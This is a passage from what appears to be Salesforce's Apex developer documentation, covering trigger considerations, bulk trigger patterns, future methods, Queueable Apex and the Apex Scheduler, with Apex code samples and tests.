Note: Content packs are revised when a slide inside the pack is revised.
• Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
• You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object don’t fire when:
• the attachment is created via Case Feed publisher.
• the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.
Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
QuestionDataCategorySelection Entity Not Available in After Insert Triggers
The after insert trigger that fires after inserting one or more Question records doesn’t have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesn’t return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];
Fields Not Updateable in Before Triggers
Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields
cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
• Task.isClosed
• Opportunity.amount*
• Opportunity.ForecastCategory
• Opportunity.isWon
• Opportunity.isClosed
• Contract.activatedDate
• Contract.activatedById
• Case.isClosed
• Solution.isReviewed
• Id (for all records)**
• createdDate (for all records)**
• lastUpdated (for all records)
• Event.WhoId (when Shared Activities is enabled)
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• Task.WhoId (when Shared Activities is enabled)
* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.
Fields Not Updateable in After Triggers
The following fields can’t be updated by after insert or after update triggers.
• Event.WhoId
• Task.WhoId
Considerations for Event DateTime Fields in Insert and Update Triggers
We recommend using the following date and time fields to create or update events.
• When creating or updating a timed Event, use ActivityDateTime to avoid issues with inconsistent date and time values.
• When creating or updating an all-day Event, use ActivityDate to avoid issues with inconsistent date and time values.
• We recommend that you use DurationInMinutes because it works with all updates and creates for Events.
Operations Not Supported in Insert and Update Triggers
The following operations aren’t supported in insert and update triggers.
• Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
• Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled
Entities Not Supported in After Undelete Triggers
Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers.
• CollaborationGroup
• CollaborationGroupMember
• FeedItem
• FeedComment
Considerations for Update Triggers
Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object or
field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
Considerations for the Salesforce Side Panel for Saleforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields aren’t immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.
SEE ALSO:
Triggers for Chatter Objects
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Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
Trigger Considerations for FeedItem, FeedAttachment, and FeedComment
• Only FeedItems of type TextPost, LinkPost, HasLink, ContentPost, and HasContent can be inserted, and therefore
invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire.
• While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against
versions before 21.0.
• For FeedItem, the following fields are not available in the before insert trigger:
– ContentSize
– ContentType
In addition, the ContentData field is not available in any delete trigger.
• Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
• FeedAttachment is not a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query.
For example:
trigger FeedItemTrigger on FeedItem (after update) {
List<FeedAttachment> attachments =
[SELECT Id, Title, Type, FeedEntityId
FROM FeedAttachment
WHERE FeedEntityId IN :Trigger.new ];
for (FeedAttachment attachment : attachments) {
System.debug(attachment.Type);
}
}
• When a feed item with associated attachments is inserted, the FeedItem is inserted first, then the FeedAttachment records are
created next. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, FeedAttachments are available in update triggers only, and aren’t available in
insert triggers.
• The following feed attachment operations cause the FeedItem update triggers to fire.
– A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
– A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
• FeedItem triggers aren’t fired when inserting or updating a FeedAttachment that doesn’t cause a change on the associated FeedItem.
• You can’t insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
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• For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) are not available.
Other Chatter Trigger Considerations
• Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be
a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group
in the FeedItem record.
• When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member
count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update
triggers run as well.
SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Force.com: FeedItem
Object Reference for Salesforce and Force.com: FeedAttachment
Object Reference for Salesforce and Force.com: FeedComment
Object Reference for Salesforce and Force.com: CollaborationGroup
Object Reference for Salesforce and Force.com: CollaborationGroupMember
Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
• If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
• If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to
do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 139.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
SEE ALSO:
addError(errorMsg)
addError(errorMsg)
Trigger and Bulk Request Best Practices
A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized
to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.
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This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}
This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation.
If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements:
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];
}
}
For more information on governor limits, see Execution Governors and Limits on page 275.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
Best Practices for Designing Bulk Programs
The following are the best practices for this design pattern:
• Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML
operations against these collections.
• Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL
statement used with the IN clause.
SEE ALSO:
Developing Code in the Cloud
Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.
Asynchronous Apex Feature
When to Use
Future Methods
• When you have a long-running method and need to prevent
delaying an Apex transaction
• When you make callouts to external Web services
• To segregate DML operations and bypass the mixed save DML
error
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Asynchronous Apex Feature
When to Use
Queueable Apex
• To start a long-running operation and get an ID for it
• To pass complex types to a job
• To chain jobs
Batch Apex
• For long-running jobs with large data volumes that need to
be performed in batches, such as database maintenance jobs
• For jobs that need larger query results than regular transactions
allow
Scheduled Apex
• To schedule an Apex class to run on a specific schedule
IN THIS SECTION:
Future Methods
Future Methods with Higher Limits (Pilot)
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to
the queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future
methods.
Apex Scheduler
Batch Apex
Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also make use of future
methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and
executes when system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a
long-running operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap
size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
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The reason why sObjects can’t be passed as arguments to future methods is because the sObject might change between the time you
call the method and the time it executes. In this case, the future method will get the old sObject values and might overwrite them. To
work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query
for the most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}
The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{
@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
}
Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example uses a
future method to achieve this. The future method, insertUserWithRole, which is defined in the Util class, performs the
insertion of a user with the COO role. This future method requires the COO role to be defined in the organization. The
useFutureMethod method in MixedDMLFuture inserts an account and calls the future method, insertUserWithRole.
This is the definition of the Util class, which contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
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This is the class containing the main method that calls the future method defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future
method.
Methods with the future annotation have the following limits:
• No more than 50 method calls per Apex invocation
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not
count against your limits for the number of queued jobs.
• The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The
licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was running
when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.
Testing Future Methods
To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest()
code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed,
all asynchronous processes are run synchronously.
For our example, this is how the test class looks.
@isTest
private class MixedDMLFutureTest {
@isTest static void test1() {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
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Test.stopTest();
}
// The future method will run after Test.stopTest();
// Verify account is inserted
Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='mruiz@awcomputing.com'];
System.assertEquals(1, users.size());
}
}
Future Method Performance Best Practices
Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This
queue is used to balance request workload across organizations. Use the following best practices to ensure your organization is efficiently
using the queue for your asynchronous processes.
• Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests
from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue
handles requests from other organizations.
• Ensure that future methods execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times
and tune queries used in your future methods. The longer the future method executes, the more likely other queued requests are
delayed when there are a large number of requests in the queue.
• Test your future methods at scale. Where possible, test using an environment that generates the maximum number of future methods
you’d expect to handle. This will help determine if delays will occur.
• Consider using batch Apex instead of future methods to process large numbers of records.
Future Methods with Higher Limits (Pilot)
Note: We provide this feature to selected customers through a pilot program that requires agreement to specific terms and
conditions. To be nominated to participate in the program, contact Salesforce. Because pilot programs are subject to change, we
can’t guarantee acceptance. This pilot feature isn’t generally available, as referenced in this document or in press releases or public
statements. We can’t guarantee general availability within any particular time frame or at all. Make your purchase decisions only
on the basis of generally available features.
Apex future methods (methods that are annotated with @future) currently have the higher asynchronous limits for heap size, CPU
timeout, and number of SOQL queries. This pilot enables you to specify even higher values for these limits and for additional limits in
future methods. If you’re exceeding a governor limit in your future method, or if you think a future method requires a higher limit, you
can increase this limit for your future method.
Note: Running future methods with higher limits can slow down the execution of all your future methods.
One of the following limits can be doubled or tripled for each future method.
• Heap size
• CPU timeout
• Number of SOQL queries
• Number of DML statements issued
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• Number of records that were processed as a result of DML operations, Approval.process, or
Database.emptyRecycleBin
The higher limit is specified in the method definition as part of the @future annotation by using the limit parameter, in the
following syntax:
@future(limits='2x|3xlimitName')
For example, to double the amount of heap size that is allowed in your future method, define your method as follows:
@future(limits='2xHeap')
public static void myFutureMethod() {
// Your code here
}
Tip: Keep in mind that you can specify only one higher limit per future method. Decide which of the modifiable limits you need
the most for your method.
The following limit modifiers are supported. The string value passed to the limits parameter inside the annotation is case-insensitive.
Modifier
Description
@future(limits='2xHeap')
Heap size limit is doubled (24 MB).
@future(limits='3xHeap')
Heap size limit is tripled (36 MB).
@future(limits='2xCPU')
CPU timeout is doubled (120,000 milliseconds).
@future(limits='3xCPU')
CPU timeout is tripled (180,000 milliseconds).
@future(limits='2xSOQL')
Number of SOQL queries limit is doubled (400).
@future(limits='3xSOQL')
Number of SOQL queries limit is tripled (600).
@future(limits='2xDML')
Number of DML statements limit is doubled (300).
@future(limits='3xDML')
Number of DML statements limit is tripled (450).
1
Number of records that were processed as a result of DML
operations is doubled (20,000).
1
Number of records that were processed as a result of DML
operations is tripled (30,000).
@future(limits='2xDMLRows')
@future(limits='3xDMLRows')
1
Includes Approval.process and Database.emptyRecycleBin operations.
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future methods.
For Apex processes that run for a long time, such as extensive database operations or external Web service callouts, you can run them
asynchronously by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous
Apex job runs in the background in its own thread and doesn’t delay the execution of your main Apex logic. Each queued job runs when
system resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher
than for synchronous Apex, such as heap size limits.
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Queueable jobs are similar to future methods in that they’re both queued for execution, but they provide you with these additional
benefits.
• Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. You can use this ID to identify your job and monitor
its progress, either through the Salesforce user interface in the Apex Jobs page, or programmatically by querying your record from
AsyncApexJob.
• Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
• Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if you need
to do some processing that depends on another process to have run first.
Example
This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
}
}
To add this class as a job on the queue, call this method:
ID jobID = System.enqueueJob(new AsyncExecutionExample());
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];
Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.
Testing Queueable Jobs
This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
static testmethod void test1() {
// startTest/stopTest block to force async processes
//
to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
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Test.stopTest();
// Validate that the job has run
// by verifying that the record was created.
// This query returns only the account created in test context by the
// Queueable class method.
Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}
Note: The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.
Chaining Jobs
If you need to run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another
job, submit the second job from the execute() method of your queueable class. You can add only one job from an executing job,
which means that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that
implements the Queueable interface, you can add this class to the queue in the execute() method as follows:
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
// Your processing logic here
// Chain this job to next job by submitting the next job
System.enqueueJob(new SecondJob());
}
}
Note: Apex allows only one web service callout from chained queueable jobs, and it must come from the parent job.
You can’t chain queueable jobs in an Apex test. Doing so results in an error. To avoid getting an error, you can check if Apex is running
in test context by calling Test.isRunningTest() before chaining jobs.
Queueable Apex Limits
• The execution of a queued job counts once against the shared limit for asynchronous Apex method executions.
• You can add up to 50 jobs to the queue with System.enqueueJob in a single transaction. To check how many queueable jobs
have been added in one transaction, call Limits.getQueueableJobs().
• No limit is enforced on the depth of chained jobs, which means that you can chain one job to another job and repeat this process
with each new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for
chained jobs is 5, which means that you can chain jobs four times and the maximum number of jobs in the chain is 5, including the
initial parent queueable job.
• When chaining jobs, you can add only one job from an executing job with System.enqueueJob, which means that only one
child job can exist for each parent queueable job. Starting multiple child jobs from the same queueable job isn’t supported.
SEE ALSO:
Queueable Interface
QueueableContext Interface
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Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you cannot update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
using the Metadata API (for example, when using the Force.com IDE). See “Deployment Connections for Change Sets” in the
Salesforce Help.
Implementing the Schedulable Interface
To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter Scheduled Jobs
in the Quick Find box, then select Scheduled Jobs.
The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}
The implemented method must be declared as global or public.
Use this method to instantiate the class you want to schedule.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing take place
in a separate class.
The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
mergeNumbers M = new mergeNumbers();
}
}
The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = system.schedule('Merge Job', sch, m);
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You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable {
global void execute(SchedulableContext sc) {
batchable b = new batchable();
database.executebatch(b);
}
}
An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext getTriggerID
method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track
the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.
Tracking the Progress of a Scheduled Job Using Queries
After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger and retrieving
some fields, such as the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in
this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];
The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];
You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];
Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];
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To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the
value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'
Testing the Apex Scheduler
The following is an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must ensure
that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest around the
System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the System.schedule method within the startTest and stopTest methods, the scheduled job executes at the
end of your test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.
This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {
// This test runs a scheduled job at midnight Sept. 3rd. 2022
public static String CRON_EXP = '0 0 0 3 9 ? 2022';
global void execute(SchedulableContext ctx) {
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
Account a = [SELECT Id, Name FROM Account WHERE Name =
'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}
The following tests the above class:
@istest
class TestClass {
static testmethod void test() {
Test.startTest();
Account a = new Account();
a.Name = 'testScheduledApexFromTestMethod';
insert a;
// Schedule the test job
String jobId = System.schedule('testBasicScheduledApex',
TestScheduledApexFromTestMethod.CRON_EXP,
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new TestScheduledApexFromTestMethod());
// Get the information from the CronTrigger API object
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];
// Verify the expressions are the same
System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);
// Verify the job has not run
System.assertEquals(0, ct.TimesTriggered);
// Verify the next time the job will run
System.assertEquals('2022-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
Test.stopTest();
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}
Using the System.Schedule Method
After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Name
Values
Special Characters
Seconds
0–59
None
Minutes
0–59
None
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Name
Values
Special Characters
Hours
0–23
None
Day_of_month
1–31
, - * ? / L W
Month
1–12 or the following:
, - * /
• JAN
• FEB
• MAR
• APR
• MAY
• JUN
• JUL
• AUG
• SEP
• OCT
• NOV
• DEC
Day_of_week
1–7 or the following:
, - * ? / L #
• SUN
• MON
• TUE
• WED
• THU
• FRI
• SAT
optional_year
null or 1970–2099
, - * /
The special characters are defined as follows:
Special Character
Description
,
Delimits values. For example, use JAN, MAR, APR to specify more than one month.
-
Specifies a range. For example, use JAN-MAR to specify more than one month.
*
Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.
?
Specifies no specific value. This is only available for Day_of_month and
Day_of_week, and is generally used when specifying a value for one and not the
other.
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Special Character
Description
/
Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.
L
Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
of the month, such as January 31, February 29 for leap years, and so on. When used
with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.
W
Specifies the nearest weekday (Monday-Friday) of the given day. This is only available
for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday,
the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does
not run in the previous month, but on the third, which is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.
#
Specifies the nth day of the month, in the format weekday#day_of_month.
This is only available for Day_of_week. The number before the # specifies weekday
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.
The following are some examples of how to use the expression.
Expression
Description
0 0 13 * * ?
Class runs every day at 1 PM.
0 0 22 ? * 6L
Class runs the last Friday of every month at 10 PM.
0 0 10 ? * MON-FRI
Class runs Monday through Friday at 10 AM.
0 0 20 * * ? 2010
Class runs every day at 8 PM during the year 2010.
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM,
on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
Using the System.scheduleBatch Method for Batch Jobs
You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This
method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. This makes it easy
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to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the
System.scheduleBatch Method.
Apex Scheduler Limits
• You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page
